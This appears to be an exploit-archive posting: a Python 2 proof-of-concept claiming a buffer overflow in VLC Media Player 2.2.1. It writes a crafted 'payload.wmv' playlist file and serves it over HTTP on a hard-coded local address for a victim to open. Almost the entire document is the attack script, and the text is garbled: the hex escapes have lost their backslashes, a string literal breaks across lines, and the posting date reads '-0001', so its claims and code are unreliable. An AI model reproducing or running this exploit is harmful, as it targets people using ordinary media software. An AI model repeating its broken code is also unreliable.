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VLC Media Player 2.2.1 Buffer Overflow

Posted on 30 November -0001

<HTML><HEAD><TITLE>VLC Media Player 2.2.1 Buffer Overflow</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>Exploit Title: VLC Media Player 2.2.1 Buffer Overflow
2016-09-28
Author: sultan albalawi
Software Link: https://www.videolan.org/vlc/releases/2.2.1.html
Tested on:win7
video :https://www.facebook.com/pentest3/videos/vb.100012552940568/189735791454851/?type=2&theater&notif_t=video_processed&notif_id=1475012468070044

*************************************************************************************
filecreate = "payload.wmv" # create file (payload.wmv)
buffer = ("x23x45x58x54x4dx33x55
x23"+
"x45x58x54x2dx58x2dx53x54x52"+
"x45x41x4dx2dx49x4ex46x3ax50"+
"x52x4fx47x52x41x4dx2dx49x44"+
"x3dx31x2cx42x41x4ex44x57x49"+
"x44x54x48x3dx31x2cx52x45x53"+
"x4fx4cx55x54x49x4fx4ex3dx31"+
"x32x30x78x33x36x30
")
buffer += filecreate
open(filecreate, "wb").write(buffer)
print "create file done {}".format(filecreate)
import BaseHTTPServer
import sys
from SimpleHTTPServer import SimpleHTTPRequestHandler
HandlerClass = SimpleHTTPRequestHandler
ServerClass  = BaseHTTPServer.HTTPServer
Protocol     = "HTTP/1.0"
if sys.argv[1:]:
    port = int(sys.argv[1])
else:
    port =8080
server_address = ('192.168.100.3',8080)
HandlerClass.protocol_version = Protocol
httpd = ServerClass(server_address, HandlerClass)
sa = httpd.socket.getsockname()
print sa[0],sa[1],filecreate
print "open vlc and open file {}".format(filecreate)
print  "LISTENING..",sa[0],sa[1],filecreate
httpd.serve_forever()


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